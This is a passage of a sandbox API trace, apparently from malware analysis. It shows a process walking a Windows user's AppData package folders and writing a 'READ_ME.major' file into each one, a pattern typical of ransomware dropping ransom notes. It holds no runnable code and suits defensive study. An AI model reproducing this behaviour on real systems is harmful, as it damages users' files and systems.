dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="AC", cAlternateFileName="")) returned 1 [0185.030] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.ConnectivityStore_8wekyb3d8bbwe\\AC\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.connectivitystore_8wekyb3d8bbwe\\ac\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x890 [0185.145] WriteFile (in: hFile=0x890, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0185.146] CloseHandle (hObject=0x890) returned 1 [0185.146] FindNextFileW (in: hFindFile=0x661470, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3aad9349, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xca7d40cc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3aad9349, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0185.147] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.ConnectivityStore_8wekyb3d8bbwe\\AppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.connectivitystore_8wekyb3d8bbwe\\appdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x890 [0185.148] WriteFile (in: hFile=0x890, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0185.148] CloseHandle (hObject=0x890) returned 1 [0185.148] FindNextFileW (in: hFindFile=0x661470, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3aa1a750, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xca7d43eb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3aa1a750, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0185.149] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.ConnectivityStore_8wekyb3d8bbwe\\LocalCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.connectivitystore_8wekyb3d8bbwe\\localcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x890 [0185.149] WriteFile (in: hFile=0x890, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0185.150] CloseHandle (hObject=0x890) returned 1 [0185.150] FindNextFileW (in: hFindFile=0x661470, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a9f4516, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xca7d4889, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3a9f4516, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0185.150] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.ConnectivityStore_8wekyb3d8bbwe\\LocalState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.connectivitystore_8wekyb3d8bbwe\\localstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x890 [0185.152] WriteFile (in: hFile=0x890, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0185.153] CloseHandle (hObject=0x890) returned 1 [0185.153] FindNextFileW (in: hFindFile=0x661470, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2201afc2, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2201afc2, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2201afc2, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0185.153] FindNextFileW (in: hFindFile=0x661470, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a9f4516, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xca7d4d6e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3a9f4516, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0185.153] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.ConnectivityStore_8wekyb3d8bbwe\\RoamingState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.connectivitystore_8wekyb3d8bbwe\\roamingstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x890 [0185.154] WriteFile (in: hFile=0x890, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0185.155] CloseHandle (hObject=0x890) returned 1 [0185.155] FindNextFileW (in: hFindFile=0x661470, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3aa1a750, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x711e790d, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x711e790d, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0185.155] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.ConnectivityStore_8wekyb3d8bbwe\\Settings\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.connectivitystore_8wekyb3d8bbwe\\settings\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x890 [0185.157] WriteFile (in: hFile=0x890, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0185.158] CloseHandle (hObject=0x890) returned 1 [0185.158] FindNextFileW (in: hFindFile=0x661470, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xffafa43f, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xffafa43f, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xffafa43f, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0185.158] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.ConnectivityStore_8wekyb3d8bbwe\\SystemAppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.connectivitystore_8wekyb3d8bbwe\\systemappdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x890 [0185.159] WriteFile (in: hFile=0x890, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0185.160] CloseHandle (hObject=0x890) returned 1 [0185.160] FindNextFileW (in: hFindFile=0x661470, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a9f4516, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xca839d45, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3a9f4516, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0185.161] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.ConnectivityStore_8wekyb3d8bbwe\\TempState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.connectivitystore_8wekyb3d8bbwe\\tempstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x890 [0185.162] WriteFile (in: hFile=0x890, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0185.163] CloseHandle (hObject=0x890) returned 1 [0185.163] FindNextFileW (in: hFindFile=0x661470, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a9f4516, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xca839d45, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3a9f4516, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0185.163] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.CredDialogHost_cw5n1h2txyewy\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x767aed3b, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x767fb19c, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2208d807, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x6614b0 [0185.163] FindNextFileW (in: hFindFile=0x6614b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x767aed3b, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x767fb19c, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2208d807, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0185.163] FindNextFileW (in: hFindFile=0x6614b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x767fb19c, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x76821433, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x76821433, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="AC", cAlternateFileName="")) returned 1 [0185.163] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.CredDialogHost_cw5n1h2txyewy\\AC\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.creddialoghost_cw5n1h2txyewy\\ac\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x894 [0185.237] WriteFile (in: hFile=0x894, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0185.238] CloseHandle (hObject=0x894) returned 1 [0185.238] FindNextFileW (in: hFindFile=0x6614b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x767aed3b, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x767aed3b, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x767aed3b, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0185.238] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.CredDialogHost_cw5n1h2txyewy\\AppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.creddialoghost_cw5n1h2txyewy\\appdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x894 [0185.240] WriteFile (in: hFile=0x894, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0185.241] CloseHandle (hObject=0x894) returned 1 [0185.241] FindNextFileW (in: hFindFile=0x6614b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x767aed3b, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x767aed3b, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x767aed3b, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0185.241] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.CredDialogHost_cw5n1h2txyewy\\LocalCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.creddialoghost_cw5n1h2txyewy\\localcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x894 [0185.241] WriteFile (in: hFile=0x894, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0185.242] CloseHandle (hObject=0x894) returned 1 [0185.242] FindNextFileW (in: hFindFile=0x6614b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x767aed3b, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x767aed3b, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x767aed3b, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0185.243] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.CredDialogHost_cw5n1h2txyewy\\LocalState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.creddialoghost_cw5n1h2txyewy\\localstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x894 [0185.243] WriteFile (in: hFile=0x894, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0185.244] CloseHandle (hObject=0x894) returned 1 [0185.245] FindNextFileW (in: hFindFile=0x6614b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2208d807, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2208d807, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2208d807, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0185.245] FindNextFileW (in: hFindFile=0x6614b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x767aed3b, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x767aed3b, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x767aed3b, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0185.245] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.CredDialogHost_cw5n1h2txyewy\\RoamingState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.creddialoghost_cw5n1h2txyewy\\roamingstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x894 [0185.246] WriteFile (in: hFile=0x894, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0185.247] CloseHandle (hObject=0x894) returned 1 [0185.247] FindNextFileW (in: hFindFile=0x6614b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x767aed3b, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x767aed3b, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x767aed3b, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0185.247] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.CredDialogHost_cw5n1h2txyewy\\Settings\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.creddialoghost_cw5n1h2txyewy\\settings\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x894 [0185.248] WriteFile (in: hFile=0x894, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0185.249] CloseHandle (hObject=0x894) returned 1 [0185.249] FindNextFileW (in: hFindFile=0x6614b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x767aed3b, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x767aed3b, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x767aed3b, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0185.249] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.CredDialogHost_cw5n1h2txyewy\\SystemAppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.creddialoghost_cw5n1h2txyewy\\systemappdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x894 [0185.250] WriteFile (in: hFile=0x894, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0185.250] CloseHandle (hObject=0x894) returned 1 [0185.251] FindNextFileW (in: hFindFile=0x6614b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x767aed3b, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x767aed3b, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x767aed3b, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0185.251] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.CredDialogHost_cw5n1h2txyewy\\TempState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.creddialoghost_cw5n1h2txyewy\\tempstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x894 [0185.252] WriteFile (in: hFile=0x894, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0185.253] CloseHandle (hObject=0x894) returned 1 [0185.253] FindNextFileW (in: hFindFile=0x6614b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x767aed3b, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x767aed3b, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x767aed3b, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0185.253] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe87ff8e, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xfe8f2692, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2208d807, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x6612f0 [0185.253] FindNextFileW (in: hFindFile=0x6612f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe87ff8e, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xfe8f2692, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2208d807, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0185.253] FindNextFileW (in: hFindFile=0x6612f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfe8f2692, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xfe8f2692, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xfe8f2692, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="AC", cAlternateFileName="")) returned 1 [0185.253] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\\AC\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.desktopappinstaller_8wekyb3d8bbwe\\ac\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x898 